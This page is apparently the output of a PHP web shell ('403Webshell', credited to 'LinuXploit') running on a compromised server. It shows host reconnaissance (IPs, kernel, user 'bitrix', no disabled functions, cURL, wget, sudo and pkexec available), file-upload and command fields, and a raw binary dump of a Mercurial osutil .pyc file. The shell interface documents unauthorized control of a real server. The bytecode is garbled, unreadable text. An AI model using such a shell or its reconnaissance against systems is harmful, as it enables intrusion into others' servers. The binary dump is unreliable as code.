403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/pure/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/pure/__pycache__/osutil.cpython-39.opt-1.pyc
a

�+�bC%�@s�ddlmZmZddlZddlZddlZddlZddlZddl	m
Z
ddlmZm	Z	dd�Z
d+d	d
�Ze	j�sJeZdZejZe	j�d�r�ejZejZejZneZeZejZGd
d�dej�ZGdd�dej�ZGdd�dej�Zej ej!�"d�dd�Z#e
e#dd�Z$e$�r0e
edej%�e$_&eje�'e�ejfe$_(ndd�Z$dd�Z)dd�Z*n�ddl+Z+ej,j-Z.ej/Z0ej1Z2Z3ej4Z5e5d�j6Z7dZ8dZ9dZ:dZ;d Z<dZ=d!Z>d"Z?d#Z@dZAdZBd$ZCd%ZDd&ZEe2e0e0ej4e0e0e5ge.jF_(e5e.jF_&d'd(�ZGGd)d*�d*eH�ZdS),�)�absolute_import�divisionN�)�getattr)�encoding�pycompatcCstt�|�rtjSt�|�r tjSt�|�r0tjSt�|�r@tjSt�	|�rPtj
St�|�r`tjSt�
|�rptjS|S�N)�statmod�S_ISREG�S_IFREG�S_ISDIR�S_IFDIR�S_ISLNK�S_IFLNK�S_ISBLK�S_IFBLK�S_ISCHR�S_IFCHR�S_ISFIFO�S_IFIFO�S_ISSOCK�S_IFSOCK)�mode�r�;/usr/lib64/python3.9/site-packages/mercurial/pure/osutil.py�
_mode_to_kinds






rFcCs�g}|}|�tj�s|tj7}t�|�}|��|D]^}t�||�}||krbt�|j	�rbgS|r~|�
|t|j	�|f�q4|�
|t|j	�f�q4|S)alistdir(path, stat=False) -> list_of_tuples

    Return a sorted list containing information about the entries
    in the directory.

    If stat is True, each element is a 3-tuple:

      (name, type, stat object)

    Otherwise, each element is a 2-tuple:

      (name, type)
    )�endswithrZossep�os�listdir�sort�lstatr	r�st_mode�appendr)�path�stat�skip�result�prefix�names�fn�strrrr)s

r�slinuxc@s eZdZdejfdejfgZdS)�_iovecZiov_baseZiov_lenN)�__name__�
__module__�__qualname__�ctypes�c_void_p�c_size_t�_fields_rrrrr,Ys�r,c@sFeZdZdejfdefde�e�fdefdejfde	fdej
fgZdS)	�_msghdrZmsg_nameZmsg_namelenZmsg_iovZ
msg_iovlen�msg_control�msg_controllenZ	msg_flagsN)r-r.r/r0r1�
_socklen_t�POINTERr,�
_msg_iovlen_t�_msg_controllen_t�c_intr3rrrrr4_s�r4c@s2eZdZdefdejfdejfdejdfgZdS)�_cmsghdr�cmsg_len�
cmsg_level�	cmsg_type�	cmsg_datarN)r-r.r/�_cmsg_len_tr0r;�c_ubyter3rrrrr<js
�r<�cT)Z	use_errnoZrecvmsgZ	c_ssize_tcCstd��dS)Nsunsupported platform)�NotImplementedError)�sockfd�msg�flagsrrr�_recvmsg}srHcCs.|jt�t�krdSt�|jt�t��}|jSr)r6r0�sizeofr<�castr5r8�contents)�msghZcmsgptrrrr�_CMSG_FIRSTHDR�srMc		s�tjd�}tt�|tj�t�|��}t�d�}tddt�|�dt�|tj�t�|�d�}t	|t�
|�d�}|dkr�t��}t|t
�|���t|�}|s�gS|jtjks�|jtkr�gSt�|jt�tj���|jtjjt�tj�}�fdd�t�|�D�S)z+receive list of file descriptors via socketr+�Nrcsg|]}�|�qSrr)�.0�i�Zrfdsrr�
<listcomp>��zrecvfds.<locals>.<listcomp>)r0rBr,rJr1rIZcreate_string_bufferr4ZpointerrHZbyrefZ	get_errno�OSErrorr�strerrorrMr>�socketZ
SOL_SOCKETr?�_SCM_RIGHTSr@r8r;r=r<�offsetrZxrange)	rEZdummyZiovZcbufrL�r�eZcmsgZ	rfdscountrrQr�recvfds�s:
�	
��
�r[�����li@��i@i�cCs(t��}t|jdt�|�|jf��dS)Nz%s: %s)r0ZWinError�IOError�errnorZstrfromlocalrU)�name�errrrr�
_raiseioerror�s�rec@sBeZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)�	posixfileaka file object aiming for POSIX-like semantics

        CPython's open() returns a file that was opened *without* setting the
        _FILE_SHARE_DELETE flag, which causes rename and unlink to abort.
        This even happens if any hardlinked copy of the file is in open state.
        We set _FILE_SHARE_DELETE here, so files opened with posixfile can be
        renamed and deleted while they are held open.
        Note that if a file opened with posixfile is unlinked, the file
        remains but cannot be opened again or be recreated under the same name,
        until all reading processes have closed the file.�rr\c	Csd|vrt}nt}|dd�}|dkr<d|vr<|tO}t}n|tO}ttB}|dkrZt}n6|dkrht}n(|dkr~t}|t	O}nt
dt�|���t
�||ttBtBd|td�}|tkr�t|�t�||�}	|	d	kr�t
�|�t|�t�|	t�|�|�}
t�|d
|�t�|d|
�dS)N�brr+rg�+�w�azinvalid mode: %sr\rc�_file)�	_O_BINARY�_O_TEXT�	_O_RDONLY�
_GENERIC_READ�_O_RDWR�_GENERIC_WRITE�_OPEN_EXISTING�_CREATE_ALWAYS�_OPEN_ALWAYS�	_O_APPEND�
ValueErrorrZsysstr�	_kernel32�CreateFileA�_FILE_SHARE_READ�_FILE_SHARE_WRITE�_FILE_SHARE_DELETE�_FILE_ATTRIBUTE_NORMAL�_INVALID_HANDLE_VALUEre�msvcrtZopen_osfhandleZCloseHandler�fdopen�object�__setattr__)�selfrcr�bufsizerGZm0�accessZcreationZfh�fd�frrr�__init__�sF

�	
zposixfile.__init__cCs|jSr)rl�r�rrr�__iter__szposixfile.__iter__cCst|j|�Sr)rrl)r�rcrrr�__getattr__!szposixfile.__getattr__cCs|j�||�S)z�mimics the read-only attributes of Python file objects
            by raising 'TypeError: readonly attribute' if someone tries:
              f = posixfile('foo.txt')
              f.name = 'bla'
            )rlr�)r�rc�valuerrrr�$szposixfile.__setattr__cCs|j��|Sr)rl�	__enter__r�rrrr�,s
zposixfile.__enter__cCs|j�|||�Sr)rl�__exit__)r��exc_type�	exc_valueZexc_tbrrrr�0szposixfile.__exit__N)rgr\)
r-r.r/�__doc__r�r�r�r�r�r�rrrrrf�s
2rf)FN)IZ
__future__rrr0Zctypes.utilrrVr$r	rr�rrrZ	iswindows�openrfrWZc_uintr7Zsysplatform�
startswithr2rAr:r9r;Z	Structurer,r4r<ZCDLL�utilZfind_libraryZ_libcrHZc_longZrestyper8�argtypesrMr[rZwindllZkernel32rxZc_ulongZ_DWORDZc_char_pZ_LPCSTRZ_LPSTRr1Z_HANDLEr�r~rzr{r|rtrsrurprrr}rorqrvrnrmryrer�rrrr�<module>s�
�	
$

�	

Youez - 2016 - github.com/yon3zu
LinuXploit